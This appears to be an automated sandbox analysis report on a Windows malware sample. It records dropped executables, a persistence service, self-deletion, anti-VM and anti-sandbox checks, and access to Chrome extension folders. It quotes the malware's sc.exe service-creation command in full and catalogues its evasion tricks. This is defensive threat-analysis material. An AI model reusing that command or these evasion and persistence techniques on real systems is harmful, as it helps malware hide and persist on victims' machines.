Source: 33.0.CBA.exe.f90000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'i2HFVLZ8Ma', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 33.0.CBA.exe.f90000.7.unpack, le10DKSxYqZoK4yLJr/AyTSqq9UUgjbEdt6XX.cs	High entropy of concatenated method names: 'Rd6IgZm9bs', 'a51IYwS7qB', 'fBeI84REpS', 'FafICsSQv7', 'SZ6IjsSWEh', 'iNrIatbhGO', 'FUPIwquKEn', '.ctor', '.cctor', 'UVoK2hYfBvAD7M528EQ'
Source: 33.0.CBA.exe.f90000.7.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'VshGL2ekeg', '.cctor', 'Pk9ha7OyGensurko62', 'HZqeaOfgxj7yWRfS2q', 'uRTBVaMp3D2qXxSWd2', 'U2LXESlSGbc0351OHr'

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe

Source: C:\Users\user\AppData\Local\Temp\2757.exe

File created: C:\ProgramData\sqlite3.dll

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\haifbcd			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\scifbcd			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\13E0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\haifbcd	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\scifbcd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\28C2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4BED.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4187.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4583.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CBA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\18D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\315E.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\18D.exe	File created: C:\Users\user\AppData\Local\Temp\sdiimdop.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1B15.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2757.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\115B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2997.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\sqlite3[1].dll	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe (copy)

Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\dbgxuqbr

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\18D.exe

18_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\nkinykhree.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\haifbcd:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00401000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

18_2_00401000

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to evade analysis by execution special instruction which cause usermode exception

Show sources

Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 0000000001002ADA instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 0000000001007252 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 000000000100C8EB instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 0000000001013E54 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 0000000001015916 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 0000000001015A9A instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 0000000001015A90 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 00000000013FC12F instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Special instruction interceptor: First address: 000000000100BC35 instructions 0F0B caused by: Known instruction #UD exception

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\2757.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\2757.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 2997.exe, 00000011.00000002.370102602.0000000000794000.00000004.00000001.sdmp

Binary or memory string: ASWHOOK

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\nkINykHreE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\nkINykHreE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\nkINykHreE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\nkINykHreE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\nkINykHreE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\nkINykHreE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\scifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\scifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\scifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\scifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\scifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\scifbcd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Source: C:\Windows\explorer.exe TID: 6672	Thread sleep count: 581 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6680	Thread sleep count: 211 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6676	Thread sleep count: 279 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7028	Thread sleep count: 385 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4080	Thread sleep count: 143 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7072	Thread sleep count: 157 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5684	Thread sleep count: 373 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5772	Thread sleep count: 185 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5688	Thread sleep count: 142 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6492	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe TID: 5712	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4972	Thread sleep count: 44 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 4972	Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\2757.exe TID: 5800	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\4187.exe TID: 6920	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\CBA.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 581	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 385	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 373	Jump to behavior

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4BED.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\sqlite3[1].dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\2757.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened / queried: VBoxGuest
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\2757.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\CBA.exe

Code function: 19_2_00CB428C sldt word ptr [eax]

19_2_00CB428C

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CBA.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\Temp\2757.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\

Source: svchost.exe, 00000004.00000002.541068406.000002024F62A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW ?
Source: explorer.exe, 00000003.00000000.260652966.000000000891C000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: CBA.exe	Binary or memory string: GT2EIAjAGm5qklVOONCYigE5tZUjotUEjRY/2opRQtiq+6wTeNE/rq1pj8njZK0Q/UO/1ciYEsPM0m6Za/DqcZpEMR9PAn3HlJ7abKBdphlyhgfStmoYllm2nj4zb04la3
Source: explorer.exe, 00000003.00000000.282298722.0000000003710000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.256022995.0000000003767000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 00000004.00000002.594562074.0000020254C62000.00000004.00000001.sdmp	Binary or memory string: @Hyper-V RAW
